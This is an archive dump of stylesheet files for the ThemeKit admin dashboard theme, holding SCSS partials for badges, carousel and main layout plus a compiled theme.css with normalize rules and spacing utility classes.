AAU,EAAE,gCAA4B;;Abx8BzC,yDAA8B;Ea+8B5B,gBAAgB,Edp2Bb,kBAAkB;;AC3GvB,iEAA8B;Eas9B5B,gBAAgB,Ed/1Bb,kBAAkB;;ACvHvB,mEAA8B;Ea69B5B,gBAAgB,Edp2Bd,kBAAkB;;Acw2B1B,wBAAyB;EACrB,MAAM,EAAE,SAAS;EACjB,KAAK,EAAE,SAAS;EAChB,OAAO,EAAE,KAAK;EACd,QAAQ,EAAE,QAAQ;EAClB,GAAG,EAAE,CAAC;EACN,KAAK,EAAE,GAAG;EACV,aAAa,EAAE,KAAK;EACpB,OAAO,EAAE,EAAE;EACX,kBAAkB,EAAE,cAAc;EAClC,UAAU,EAAE,cAAc;;AAE9B,mBAAoB;EAChB,UAAU,EAAE,OAAO;;AAEvB,iBAAkB;EACd,UAAU,EAAE,OAAO;;AAEvB,oBAAqB;EACjB,UAAU,EAAE,IAAI", "sources": ["theme.scss","_settings.scss","_mixins.scss","_cards.scss","_widgets.scss","_tables.scss","_badges.scss","_navigation.scss","_buttons.scss","_modal.scss","_forms.scss","_carousel.scss","_calendar.scss","_alert.scss","_auth.scss","_main.scss"], "names": [], "file": "theme.css" } scss/_badges.scss000064400000003201151676723140010010 0ustar00.badge { padding: 6px 10px; font-size: 12px; font-weight: 600; &.badge-top-left { top: 7px; right: 10px; } &.badge-top-left-2 { top: 40px; right: 10px; } } .badge-primary, .badge-success, .badge-info, .badge-warning, .badge-danger, .badge-inverse, .badge-purple, .badge-pink, .badge-twitter, .badge-facebook, .badge-linkedin, .badge-google, .badge-dribbble, .badge-instagram { color: $white; } .badge-theme { background-color: $theme; } .badge-aqua { background-color: $aqua; } .badge-blue { background-color: $blue; } .badge-light-blue { background-color: $light-blue; } .badge-teal { background-color: $teal; } .badge-yellow { background-color: $yellow; } .badge-orange { background-color: $orange; } .badge-green { background-color: $green; } .badge-lime { background-color: $lime; } .badge-red { background-color: $red; } .badge-fuchsia { background-color: $fuchsia; } .badge-navy { background-color: $navy; } .badge-empty { background: $empty; } .badge-primary { background-color: $primary; } .badge-success { background-color: $success; } .badge-info { background-color: $info; } .badge-warning { background-color: $warning; } .badge-danger { background-color: $danger; } .badge-muted { background-color: $muted; } .badge-inverse { background-color: $inverse; } .badge-purple { background-color: $purple; } .badge-pink { background-color: $pink; } .badge-white { background-color: $white; } .btn { .badge { padding: 2px 6px; } }scss/_carousel.scss000064400000001015151676723140010401 0ustar00.slider-nav { .left-arrow, .right-arrow { font-size: 20px; color: #145388; display: inline-block; vertical-align: middle; margin: 0 15px; } .slider-dot-container { display: inline-block; .owl-dot { width: 6px; height: 6px; border-radius: 10px; color: #00a7e2; background: #7cb9ec; outline: initial!important; border: initial; margin: 0 5px; padding: 0; &.active { background: #145388; } } } }scss/_main.scss000064400000072540151676723140007523 0ustar00$ff: 'Nunito Sans', sans-serif; body { color: #212121; font-size: .8rem; line-height: 1.5; font-weight: 400; font-family: $ff; } .dropdown-toggle { @include pseudo-element('after') { display: none; } } .tooltip { font-family: $ff; font-size: 12px; font-weight: 700; } .truncate { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; } .progress-sm { height: .5rem; .progress-bar { height: .5rem; } } .img-thumbnail, .list-thumbnail { border-radius: .1rem; padding: 0; border: initial; } .list-thumbnail { height: auto; max-width: unset; height: 85px; object-fit: cover; width: unset!important; @include mq('tablet-wide', 'max') { &.responsive { width: unset; height: 135px; } } &.small { height: 60px; font-size: 1rem; } } .list-thumbnail-letters { width: 85px; height: 85px; background: #090e40; align-items: center; display: flex; justify-content: center; font-size: 1.25rem; color: #fff; &.small { width: 60px; height: 60px; font-size: 1rem; } } .list-item-heading { font-size: 1rem; } .flex-grow-1 { @include flex-grow(1); } .dropdown-menu { padding: 5px; font-size: 12px; background-color: $white; border-color: $empty; margin: 0; width: 170px; @include border-radius(6px); @include box-shadow(0 2px 30px rgba(0,0,0,.08)); .dropdown-item { background-color: $white; padding: 8px 15px; line-height: 14px; @include border-radius(4px); .dropdown-icon { display: inline-block; vertical-align: middle; font-size: 16px; margin-right: 5px; vertical-align: -2px; color: $grey; } &:hover, &:focus { background-color: #dee2e6 !important; color: $dark; } .badge { width: 15px; height: 15px; border-radius: 50%; text-align: center; padding: 0; line-height: 15px; } } @include pseudo-element('after') { bottom: 100%; left: 10px; border: solid transparent; content: ' '; height: 0; width: 0; position: absolute; pointer-events: none; border-color: rgba(136, 183, 213, 0); border-bottom-color: $white; border-width: 5px; } &.dropdown-menu-right::after { right: 10px; left: auto; } } .wrapper { .header-top { background-color: $white; z-index: 1030; position: relative; padding: 15px 0; position: fixed; top: 0; width: 100%; left: 0; padding-left: 240px; @include box-shadow(0 1px 15px rgba(0,0,0,.04), 0 1px 6px rgba(0,0,0,.04)); .top-menu { .dropdown { margin-left: 10px; .dropdown-menu { margin-top: 10px; &.menu-grid { width: 182px; .dropdown-item { display: inline-block; width: 40px; height: 40px; text-align: center; padding: 0; line-height: 40px; font-size: 18px; color: #5A5A5A; } } &.notification-dropdown { min-width: 300px; padding: 0; .header { margin: 0; padding: 15px; font-size: 16px; border-bottom: 1px solid #f1f1f1; } .notifications-wrap { .media { border-bottom: 1px solid #eef1f2; padding: 10px; &:nth-child(odd) { background: #f8f9fa; } .d-flex { -webkit-box-align: start; -ms-flex-align: start; align-items: flex-start; margin-right: 15px; i { color: #fff; text-align: center; font-size: 15px; line-height: 30px; top: 0; height: 30px; width: 30px; background: #404E67; @include border-radius(50%); } img { height: 30px; } } .media-body { font-size: 12px; .media-heading { color: #444; font-weight: 600; letter-spacing: 0; } .media-content { color: #868e96; } } } } .footer { text-align: center; padding: 10px 15px; a { color: #212121; font-size: 16px; } } } } } .nav-link { width: 30px; height: 30px; padding: 0; text-align: center; line-height: 36px; color: $dark; border: none; position: relative; @include border-radius(50%); @include transition(all .5s ease-in-out); &:hover, &:focus{ background-color: #dee2e6; color: #333; } i { font-size: 16px; } .badge { right: -1px; position: absolute; top: -4px; padding: 3px; width: 17px; font-size: 11px; font-weight: 800; color: #fff; @include border-radius(100px); } } .avatar { color: $inverse; font-weight: 600; width: 30px; height: 30px; line-height: 30px; @include border-radius(50%); display: inline-block; background: #ced4da no-repeat center/cover; position: relative; vertical-align: bottom; font-size: .875rem; user-select: none; } .mobile-nav-toggle { border: none; position: relative; margin-right: 5px; span { height: 2px; width: 20px; background-color: #4a5361; display: inline-block; border-radius: 4px; position: absolute; top: 14px; left: 5px; &::before, &::after { content: ""; height: 2px; width: 20px; border-radius: 4px; background-color: #4a5361; display: inline-block; position: absolute; } &::before { left: 0; top: -6px; } &::after { left: 0; bottom: -6px; } } } .header-search { padding: 0 10px; position: relative; .input-group { @include border-radius(20px); margin-bottom: 0; .input-group-addon { color: #404E67; padding: 2px 10px 2px 0px; font-size: 16px; cursor: pointer; &.search-close { padding: 2px 0px 2px 10px; display: none; } } .form-control { padding: 0 10px; min-height: auto; width: 0; border: none; color: #353c4e; background-color: transparent; @include border-radius(0px); } } &.open { .input-group { background-color: #e4e4e4; .input-group-addon.search-close { display: block; } } } } } @include mq('tablet-wide', 'max') { padding-left: 0; } &[header-theme="light"] { background: $white; } &[header-theme="dark"] { background: #272d36; } &[header-theme="blue"] { background: $primary; } &[header-theme="red"] { background: $danger; } &[header-theme="orange"] { background: $warning; } &[header-theme="green"] { background: $success; } &[header-theme="purple"] { background: $purple; } &[header-theme="blue"], &[header-theme="red"], &[header-theme="orange"], &[header-theme="green"], &[header-theme="purple"], &[header-theme="dark"] { .top-menu { .nav-link { color: $white; background-color: $empty; } .header-search { .input-group { .input-group-addon { color: $white; } } } } } } .page-wrap { position: relative; .app-sidebar { position: fixed; left: 0; top: 0; width: 240px; height: 100vh; background-color: $white; z-index: 1040; @include box-shadow(0 3px 30px rgba(0,0,0,.1), 0 3px 20px rgba(0,0,0,.1)); @include transition(width 0.3s cubic-bezier(0, 0, 0.2, 1)); @include translate3d(0, 0, 0); white-space: nowrap; visibility: visible; .sidebar-header { @include flexbox(); @include align-items(center); @include justify-content(space-between); padding: 13px 15px; height: 60px; .header-brand { display: block; font-size: 22px; font-weight: 700; color: #212529; .logo-img { display: inline-block; width: 30px; } } .nav-toggle { border: none; background-color: $empty; color: $white; font-size: 20px; @include box-shadow(none); } .btn-icon { border: none; } .nav-close { display: none; border: none; background-color: $empty; color: $white; font-size: 20px; @include box-shadow(none); @include mq('tablet-wide', 'max') { display: inline-block; } } @include mq('tablet-wide', 'max') { .nav-toggle { display: none; } } } .sidebar-content { position: relative; height: -webkit-calc(100vh - 60px); height: -moz-calc(100vh - 60px); height: calc(100vh - 60px); overflow: auto; z-index: 4; .nav-container { .navigation-main { .nav-item { // border-bottom: 1px solid #f3f3f3; position: relative; a { display: block; overflow: hidden; padding: 15px 5px; margin-left: 15px; margin-right: 15px; color: #545454; position: relative; i { font-size: 20px; margin-right: 10px; display: inline-block; vertical-align: -4px; } span { font-size: 13px; } .badge { position: absolute; right: 30px; text-align: center; top: 16px; vertical-align: middle; white-space: nowrap; opacity: 1; visibility: visible; border-radius: 4px; font-size: 75%; padding: 4px 7px; margin-right: 5px; font-weight: 800; color: #fff; -webkit-transition: opacity 0.3s linear; transition: opacity 0.3s linear; text-transform: uppercase; } &.disabled { opacity: 0.5; cursor: not-allowed !important; } } &.has-sub { a::before { content: "\e844"; font-family: "iconkit"; position: absolute; right: 3px; top: 15px; @include rotate(0); @include transition(all 0.2s ease-in-out); } .submenu-content { background-color: #f3f3f3; .menu-item { padding: 10px 5px; font-size: 13px; padding-left: 50px; margin: 0; &::before { display: none; } &.active { color: #eb525d; } } .nav-item { &::after { display: none; } a { position: relative; &::before { content: "\e844"; font-family: "iconkit"; position: absolute; right: 20px; top: 10px; display: inline-block; @include rotate(0); @include transition(all 0.2s ease-in-out); } } .submenu-content { .menu-item { padding-left: 70px; &::before { display: none; } } } &.open { a::before { @include rotate(90); } } } } } &:not(.open) .submenu-content { display: none; } &.open { a::before { @include rotate(90); } &::after { background: #576a3d; border-radius: 10px; color: #fff; content: " "; height: 30px; left: 0; position: absolute; top: 10px; width: 3px; } } &.active::after { background: #576a3d; border-radius: 10px; color: #fff; content: " "; height: 30px; left: 0; top: 10px; position: absolute; width: 3px; } } .nav-lavel { font-size: 14px; font-weight: 400; opacity: 1; padding: 8px 20px 8px; text-transform: capitalize; visibility: visible; width: 100%; color: #999; background: #333e52; } } } } &.colored { .sidebar-header { background-color: #272d36; .header-brand { color: $white; } } .sidebar-content { background-color: #404E67; .nav-container { .navigation-main { .nav-item { border-color: rgba(243, 243, 243, 0.15); a { color: $white; i { color: #bcc8d8; } } .submenu-content { background-color: #4a5872; } &.open::after, &.active::after { background-color: #eb525d; } } } } } } &.hide-sidebar { @include transition(transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1)); @include translate3d(-100%, 0, 0); } @include mq('tablet-wide', 'max') { @include transition(transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1)); } } .main-content { padding: 30px 0; background-color: #F6F7FB; min-height: calc(100vh - 120px); margin-top: 60px; padding-right: 15px; padding-left: 255px; @include transition(all 0.3s ease); @include mq('tablet-wide', 'max') { padding-left: 0; padding-right: 0; } .page-header { margin-bottom: 30px; .page-header-title { i { float: left; width: 40px; height: 40px; border-radius: 5px; margin-right: 20px; vertical-align: middle; font-size: 22px; color: #fff; display: inline-flex; @include justify-content(center); @include align-items(center); @include box-shadow(0 2px 12px -3px rgba(0,0,0,0.5)); } h5 { margin-bottom: 0; font-weight: 700; font-size: 18px; &+span { font-size: 13px; } } } .breadcrumb-container { float: right; .breadcrumb { background-color: transparent; margin-bottom: 0; float: right; .breadcrumb-item { a { color: #212121; } } } } } .card { .card-body { .sub-title { font-size: 14px; border-bottom: 1px solid rgba(204,204,204,0.35); padding-bottom: 10px; margin-bottom: 20px; color: #2c3e50; } code { background-color: #eee; margin: 5px; display: inline-block; padding: 1px 6px; @include border-radius(3px) } .list-item-wrap { .list-item { padding: 13px 20px; border: 1px solid #ededed; position: relative; border-left: 0; border-right: 0; height: 50px; overflow: hidden; @include transition(transform 0.2s ease-in-out); .item-inner { @include flexbox(); @include justify-content(flex-start); position: relative; .custom-control { margin: 0; margin-top: -2px; } .list-title { width: 100%; display: block; a { color: #3e5569; font-weight: 600; display: block; width: 100%; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; width: calc(100% - 50px); } } .list-actions { position: absolute; right: 0px; top: 50%; opacity: 0; display: none; z-index: 3; padding-left: 10px; @include transform(translateY(-50%)); a { width: 30px; height: 30px; padding: 0; border-radius: 50%; text-align: center; line-height: 32px; color: #999; display: inline-block; &:hover, &:focus { background-color: #dee2e6; color: #333; } } } } .qickview-wrap { margin-top: 5px; opacity: 0; .desc { p { margin: 0; } } } &:hover, &:focus { background-color: #f9f9f9; .list-actions { opacity: 1; display: block; } } &.quick-view-opened { height: auto; background-color: $white; border: none; z-index: 5; @include box-shadow(0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1)); @include scale(1.01); .item-inner { .list-title { a { font-size: 16px; color: #263238; } } } .qickview-wrap { opacity: 1; } } & + .list-item { margin-top: -1px; } &:last-child { border-bottom: none; } } } } } } .footer { background: $white; padding: 20px 30px; border-top: 1px solid rgba(0, 0, 0, 0.04); font-size: calc(0.875rem - 0.05rem); @include transition(all 0.25s ease); @include mq('tablet-wide') { padding-left: 270px; } } .right-sidebar { position: fixed; top: 60px; right: 0; width: 240px; background: #fff; height: calc(100vh - 60px); border-left: 1px solid #eef1f2; border-top: 1px solid #eef1f2; padding: 1.07143em; z-index: 9; @include transform(translateX(100%)); @include transition(all 0.25s ease); .sidebar-chat { .sidebar-chat-info { h6 { color: #353c4e; } .form-group { position: relative; .form-control { padding-right: 30px; @include border-radius(50px); padding-left: 15px; } i { position: absolute; top: 8px; right: 10px; font-size: 16px; color: #bbb; } } } .chat-list { .list-group { margin-left: -1.07143em; margin-right: -1.07143em; .list-group-item { background: none; border: 0; border-top: 1px solid #eef1f2; padding: 1em 1.07143em; overflow: hidden; color: #999; @include flexbox(); @include align-items(center); figure { margin: 0; position: relative; margin-right: 10px; img { width: 40px; height: 40px; } } span { line-height: 1em; @include flexbox(); @include justify-content(end); @include flex-direction(column); .name { font-size: 14px; color: #444; margin-bottom: 5px; } } } [class*="user-"]:after { position: absolute; top: calc(50% + 15px); left: 0; @include transform(translateY(-50%)); } } } } } .chat-panel { position: fixed; top: calc(100vh); right: calc( 240px + 15px); width: 310px; z-index: 9999; @include transform(translateY(-100%) translateX(14.0625rem)); .card { border: none; margin-bottom: 1.42857em; @include border-radius(10px); @include box-shadow(0 4px 8px 3px rgba(0, 0, 0, 0.2)); .card-header { background: none; padding: 1.07143em 1.42857em; font-size: 1.14286em; border-bottom: 1px solid rgba(153, 153, 153, 0.2); } .card-body { padding: 1.07143em; .messages { position: relative; max-height: 21.42857em; overflow-y: scroll; margin-top: -1.07143em; margin-right: -1.07143em; margin-left: -1.07143em; padding-top: 1.07143em; padding-right: 1.07143em; padding-left: 1.07143em; .message { margin: 0.71429em 0; &:first-child { margin-top: 0; } figure { -webkit-box-ordinal-group: 3; -ms-flex-order: 2; margin: 0; position: relative; order: 2; img { width: 30px; height: 30px; } } .message-body { margin-top: .5em; display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; -webkit-box-align: end; -ms-flex-align: end; align-items: flex-end; margin: auto 1.5em; -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; p { background: #404E67; border: 1px solid #404E67; border-radius: 3px; padding: .5em 1em; color: #fff; margin-bottom: .5em; position: relative; &:first-child:after, &:first-child:before { content: ""; height: 0; width: 0; display: block; position: absolute; top: 1.25rem; right: -7px; left: auto; border-style: solid; border-width: 6px 0 7px 6px; border-color: transparent transparent transparent #404E67; @include transform(translateY(-50%)); } &:first-child:before { right: -7px; border-left-color: #404E67; } } } &.reply { figure { -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; } .message-body { -webkit-box-align: start; -ms-flex-align: start; align-items: flex-start; -webkit-box-ordinal-group: 3; -ms-flex-order: 2; order: 2; p { background: #fff; border: 1px solid #eef1f2; border-radius: 0; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-radius: 3px; color: #666; &:first-child:after, &:first-child:before { content: ""; height: 0; width: 0; display: block; position: absolute; right: auto; left: -7px; border-style: solid; border-width: 6px 7px 6px 0; border-color: transparent #fff transparent transparent; @include transform(translateY(-50%)); } &:first-child:before { left: -9px; border-right-color: #eef1f2; } &:first-child:after { content: ""; height: 0; width: 0; display: block; position: absolute; right: auto; left: -7px; border-style: solid; border-width: 6px 7px 6px 0; border-color: transparent #fff transparent transparent; @include transform(translateY(-50%)); } } } } } } } .card-footer { background: none; padding: 1.07143em 1.42857em; border-top: 1px solid rgba(153, 153, 153, 0.2); .list-icon { font-size: 1.125rem; } textarea { box-shadow: none; resize: none; padding: 0; width: 100%; min-height: auto; padding: 5px 0; } } } } } &.nav-collapsed { .header-top { padding-left: 60px; } .page-wrap { .app-sidebar { width: 60px; .sidebar-header { .header-brand { .text { display: none; } } } .sidebar-content { .nav-container { .navigation-main { .nav-lavel { display: none; } .nav-item { a { span { display: none; } &::before { display: none; } } } } } } &:hover { width: 240px; .header-brand { .text { display: inline-block; } } .sidebar-content { .nav-container { .navigation-main { .nav-lavel { display: block; } .nav-item { a { span { display: inline-block; } &::before { display: inline-block; } } } } } } } } .main-content { padding-left: 75px; } .footer { padding-left: 90px; } } } &.menu-collapsed { .page-wrap { .app-sidebar { .sidebar-header { .nav-toggle { display: none; } } } } } &.right-sidebar-expand { .right-sidebar { @include transform(translateX(0)); } .chat-panel { @include transform(translateY(-100%) translateX(0)); } } } hr { box-sizing: content-box; height: 0; margin-top: 1rem; border: 0; border-top: 1px solid rgba(0,0,0,.1); } .profiletimeline { position: relative; padding-left: 40px; margin: 40px 10px 0 30px; border-left: 1px solid rgba(0,0,0,.1); .sl-item { margin-top: 8px; margin-bottom: 30px; .sl-left { float: left; margin-left: -60px; z-index: 1; margin-right: 15px; img { max-width: 40px; } } .sl-right { .sl-date { font-size: 12px; color: #afb5c1; } } } } .dd-handle { background: #f7f7f7; border-radius: 3px; padding: 20px; position: relative; display: block; text-decoration: none; margin: 5px 0; overflow: hidden; p { margin: 0; } @include pseudo-element('after') { content: ''; width: 5px; height: 100%; position: absolute; top: 0; left: 0; } } .dd-list { margin: 0; padding: 0; list-style: none; .dd-placeholder, .dd-empty { margin: 5px 0; padding: 0; min-height: 30px; background: #f2fbff; border: 1px dashed #b6bcbf; @include border-radius (4px); } .dd-list { padding-left: 30px; } } .dd-dragel { position: absolute; pointer-events: none; z-index: 9999; .dd-handle { -webkit-box-shadow: 2px 4px 6px 0 rgba(0,0,0,.1); -ms-box-shadow: 2px 4px 6px 0 rgba(0,0,0,.1); box-shadow: 2px 4px 6px 0 rgba(0,0,0,.1); } } .todo-task { .dd-handle { @include pseudo-element('after') { background-color: $danger; } } } .progress-task { .dd-handle { @include pseudo-element('after') { background-color: $yellow; } } } .completed-task { .dd-handle { @include pseudo-element('after') { background-color: $green; } } } [class*="user--"]::after { height: 0.64286em; width: 0.64286em; display: block; position: absolute; top: 0; right: 10%; border-radius: 100px; content: ""; -webkit-box-shadow: 0 0 0 2px #fff; box-shadow: 0 0 0 2px #fff; } .user--online:after { background: #06d6a0; } .user--busy:after { background: #ff3333; } .user--offline:after { background: #bbb; }scss/theme.css000064400000316674151676723140007370 0ustar00/*! * ThemeKit v1 (https://lavalite.org/) * Copyright 2018 The Lavalite Authors */ html { font-family: sans-serif; /* 1 */ -ms-text-size-adjust: 100%; /* 2 */ -webkit-text-size-adjust: 100%; /* 2 */ } body { margin: 0; } article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary { display: block; } audio, canvas, progress, video { display: inline-block; /* 1 */ vertical-align: baseline; /* 2 */ } audio:not([controls]) { display: none; height: 0; } [hidden], template { display: none; } a { background-color: transparent; } a:active, a:hover { outline: 0; } abbr[title] { border-bottom: 1px dotted; } strong { font-weight: bold; } dfn { font-style: italic; } h1 { font-size: 2em; margin: 0.67em 0; } mark { background: #ff0; color: #000; } small { font-size: 80%; } sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } sup { top: -0.5em; } sub { bottom: -0.25em; } img { border: 0; } svg:not(:root) { overflow: hidden; } figure { margin: 1em 40px; } hr { box-sizing: content-box; height: 0; } pre { overflow: auto; } code, kbd, pre, samp { font-family: monospace, monospace; font-size: 1em; } button, input, optgroup, select, textarea { color: inherit; /* 1 */ font: inherit; /* 2 */ margin: 0; /* 3 */ } button { overflow: visible; } button, select { text-transform: none; } button, html input[type="button"], input[type="reset"], input[type="submit"] { -webkit-appearance: button; /* 2 */ cursor: pointer; /* 3 */ } button[disabled], html input[disabled] { cursor: default; } button::-moz-focus-inner, input::-moz-focus-inner { border: 0; padding: 0; } input { line-height: normal; } input[type="checkbox"], input[type="radio"] { box-sizing: border-box; /* 1 */ padding: 0; /* 2 */ } input[type="number"]::-webkit-inner-spin-button, input[type="number"]::-webkit-outer-spin-button { height: auto; } input[type="search"] { -webkit-appearance: textfield; /* 1 */ box-sizing: content-box; /* 2 */ } input[type="search"]::-webkit-search-cancel-button, input[type="search"]::-webkit-search-decoration { -webkit-appearance: none; } fieldset { border: 1px solid #c0c0c0; margin: 0 2px; padding: 0.35em 0.625em 0.75em; } legend { border: 0; /* 1 */ padding: 0; /* 2 */ } textarea { overflow: auto; } optgroup { font-weight: bold; } table { border-collapse: collapse; border-spacing: 0; } td, th { padding: 0; } *, body { -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; -moz-osx-font-smoothing: grayscale; } ::-moz-selection { background: #b3d4fc; text-shadow: none; } ::selection { background: #b3d4fc; text-shadow: none; } hr { display: block; height: 1px; border: 0; border-top: 1px solid #ccc; margin: 1em 0; padding: 0; } audio, canvas, iframe, img, svg, video { vertical-align: middle; } fieldset { border: 0; margin: 0; padding: 0; } textarea { resize: vertical; } .browserupgrade { margin: 0.2em 0; background: #ccc; color: #000; padding: 0.2em 0; } * { outline: none !important; } a { color: #212121; -moz-transition: color 0.2s; -o-transition: color 0.2s; -webkit-transition: color 0.2s; transition: color 0.2s; } a:hover, a:focus, a:active { outline: 0; text-decoration: none; color: #212121; } .bg-theme { background-color: #ef4153 !important; } .bg-aqua { background-color: #3ec5d6 !important; } .bg-blue { background-color: #19B5FE !important; } .bg-light-blue { background-color: #89CFF0 !important; } .bg-teal { background-color: #008081 !important; } .bg-yellow { background-color: #F7CA18 !important; } .bg-orange { background-color: #FF8000 !important; } .bg-green { background-color: #26C281 !important; } .bg-lime { background-color: #cad900 !important; } .bg-red { background-color: #F22613 !important; } .bg-fuchsia { background-color: #df2de3 !important; } .bg-navy { background-color: #000080 !important; } .bg-empty { background: transparent !important; } .bg-primary { background-color: #007bff !important; } .bg-success { background-color: #2dce89 !important; } .bg-info { background-color: #11cdef !important; } .bg-warning { background-color: #fb6340 !important; } .bg-danger { background-color: #f5365c !important; } .bg-muted { background-color: #6c757d !important; } .bg-inverse { background-color: #4c5667 !important; } .bg-purple { background-color: #BF55EC !important; } .bg-pink { background-color: #f76397 !important; } .bg-white { background-color: #ffffff !important; } .text-blue { color: #19B5FE !important; } .text-light-blue { color: #89CFF0 !important; } .text-teal { color: #008081 !important; } .text-navy { color: #000080 !important; } .text-lime { color: #cad900 !important; } .text-orange { color: #FF8000 !important; } .text-yellow { color: #F7CA18 !important; } .text-aqua { color: #3ec5d6 !important; } .text-white { color: #ffffff !important; } .text-danger { color: #f5365c !important; } .text-green { color: #26C281 !important; } .text-primary { color: #007bff !important; } .text-warning { color: #fb6340 !important; } .text-success { color: #2dce89 !important; } .text-info { color: #11cdef !important; } .text-inverse { color: #4c5667 !important; } .text-pink { color: #f76397 !important; } .text-purple { color: #BF55EC !important; } .text-dark { color: #212121 !important; } .text-fuchsia { color: #df2de3 !important; } .text-red { color: #F22613 !important; } .text-facebook { color: #3b579d !important; } .text-twitter { color: #1da1f2 !important; } .text-instagram { color: #fb3958 !important; } .text-google { color: #dc4a38 !important; } .text-linkedin { color: #0177b4 !important; } .text-behance { color: #053eff !important; } .text-red { color: #F22613 !important; } .min-width-zero { min-width: 0; } .w-10 { width: 10% !important; } .w-90 { width: 90% !important; } .w-12 { width: 12% !important; } .w-88 { width: 88% !important; } .w-15 { width: 15% !important; } .w-85 { width: 85% !important; } .w-20 { width: 20% !important; } .w-80 { width: 80% !important; } .w-30 { width: 30% !important; } .w-70 { width: 70% !important; } .w-40 { width: 40% !important; } .w-60 { width: 60% !important; } .m-0 { margin: 0 !important; } .mt-0 { margin-top: 0px !important; } .mt-5 { margin-top: 5px !important; } .mt-10 { margin-top: 10px !important; } .mt-15 { margin-top: 15px !important; } .mt-20 { margin-top: 20px !important; } .mt-25 { margin-top: 25px !important; } .mt-30 { margin-top: 30px !important; } .mt-35 { margin-top: 35px !important; } .mt-40 { margin-top: 40px !important; } .mt-45 { margin-top: 45px !important; } .mt-50 { margin-top: 50px !important; } .mt-55 { margin-top: 55px !important; } .mt-60 { margin-top: 60px !important; } .mt-65 { margin-top: 65px !important; } .mt-70 { margin-top: 70px !important; } .mt-75 { margin-top: 75px !important; } .mt-80 { margin-top: 80px !important; } .mt-85 { margin-top: 85px !important; } .mt-90 { margin-top: 90px !important; } .mt-95 { margin-top: 95px !important; } .mt-100 { margin-top: 100px !important; } .mb-0 { margin-bottom: 0px !important; } .mb-5 { margin-bottom: 5px !important; } .mb-10 { margin-bottom: 10px !important; } .mb-15 { margin-bottom: 15px !important; } .mb-20 { margin-bottom: 20px !important; } .mb-25 { margin-bottom: 25px !important; } .mb-30 { margin-bottom: 30px !important; } .mb-35 { margin-bottom: 35px !important; } .mb-40 { margin-bottom: 40px !important; } .mb-45 { margin-bottom: 45px !important; } .mb-50 { margin-bottom: 50px !important; } .mb-55 { margin-bottom: 55px !important; } .mb-60 { margin-bottom: 60px !important; } .mb-65 { margin-bottom: 65px !important; } .mb-70 { margin-bottom: 70px !important; } .mb-75 { margin-bottom: 75px !important; } .mb-80 { margin-bottom: 80px !important; } .mb-85 { margin-bottom: 85px !important; } .mb-90 { margin-bottom: 90px !important; } .mb-95 { margin-bottom: 95px !important; } .mb-100 { margin-bottom: 100px !important; } .ml-0 { margin-left: 0px !important; } .ml-5 { margin-left: 5px !important; } .ml-10 { margin-left: 10px !important; } .ml-15 { margin-left: 15px !important; } .ml-20 { margin-left: 20px !important; } .ml-25 { margin-left: 25px !important; } .ml-30 { margin-left: 30px !important; } .ml-35 { margin-left: 35px !important; } .ml-40 { margin-left: 40px !important; } .ml-45 { margin-left: 45px !important; } .ml-50 { margin-left: 50px !important; } .ml-55 { margin-left: 55px !important; } .ml-60 { margin-left: 60px !important; } .ml-65 { margin-left: 65px !important; } .ml-70 { margin-left: 70px !important; } .ml-75 { margin-left: 75px !important; } .ml-80 { margin-left: 80px !important; } .ml-85 { margin-left: 85px !important; } .ml-90 { margin-left: 90px !important; } .ml-95 { margin-left: 95px !important; } .ml-100 { margin-left: 100px !important; } .mr-0 { margin-right: 0px !important; } .mr-5 { margin-right: 5px !important; } .mr-10 { margin-right: 10px !important; } .mr-15 { margin-right: 15px !important; } .mr-20 { margin-right: 20px !important; } .mr-25 { margin-right: 25px !important; } .mr-30 { margin-right: 30px !important; } .mr-35 { margin-right: 35px !important; } .mr-40 { margin-right: 40px !important; } .mr-45 { margin-right: 45px !important; } .mr-50 { margin-right: 50px !important; } .mr-55 { margin-right: 55px !important; } .mr-60 { margin-right: 60px !important; } .mr-65 { margin-right: 65px !important; } .mr-70 { margin-right: 70px !important; } .mr-75 { margin-right: 75px !important; } .mr-80 { margin-right: 80px !important; } .mr-85 { margin-right: 85px !important; } .mr-90 { margin-right: 90px !important; } .mr-95 { margin-right: 95px !important; } .mr-100 { margin-right: 100px !important; } .p-0 { padding: 0 !important; } .pt-0 { padding-top: 0px !important; } .pt-5 { padding-top: 5px !important; } .pt-10 { padding-top: 10px !important; } .pt-15 { padding-top: 15px !important; } .pt-20 { padding-top: 20px !important; } .pt-25 { padding-top: 25px !important; } .pt-30 { padding-top: 30px !important; } .pt-35 { padding-top: 35px !important; } .pt-40 { padding-top: 40px !important; } .pt-45 { padding-top: 45px !important; } .pt-50 { padding-top: 50px !important; } .pt-55 { padding-top: 55 !important; } .pt-60 { padding-top: 60px !important; } .pt-65 { padding-top: 65px !important; } .pt-70 { padding-top: 70px !important; } .pt-75 { padding-top: 75px !important; } .pt-80 { padding-top: 80px !important; } .pt-85 { padding-top: 85px !important; } .pt-90 { padding-top: 90px !important; } .pt-95 { padding-top: 95px !important; } .pt-100 { padding-top: 100px !important; } .pb-0 { padding-bottom: 0px !important; } .pb-5 { padding-bottom: 5px !important; } .pb-10 { padding-bottom: 10px !important; } .pb-15 { padding-bottom: 15px !important; } .pb-20 { padding-bottom: 20px !important; } .pb-25 { padding-bottom: 25px !important; } .pb-30 { padding-bottom: 30px !important; } .pb-35 { padding-bottom: 35px !important; } .pb-40 { padding-bottom: 40px !important; } .pb-45 { padding-bottom: 45px !important; } .pb-50 { padding-bottom: 50px !important; } .pb-55 { padding-bottom: 55px !important; } .pb-60 { padding-bottom: 60px !important; } .pb-65 { padding-bottom: 65px !important; } .pb-70 { padding-bottom: 70px !important; } .pb-75 { padding-bottom: 75px !important; } .pb-80 { padding-bottom: 80px !important; } .pb-85 { padding-bottom: 85px !important; } .pb-90 { padding-bottom: 90px !important; } .pb-95 { padding-bottom: 95px !important; } .pb-100 { padding-bottom: 100px !important; } 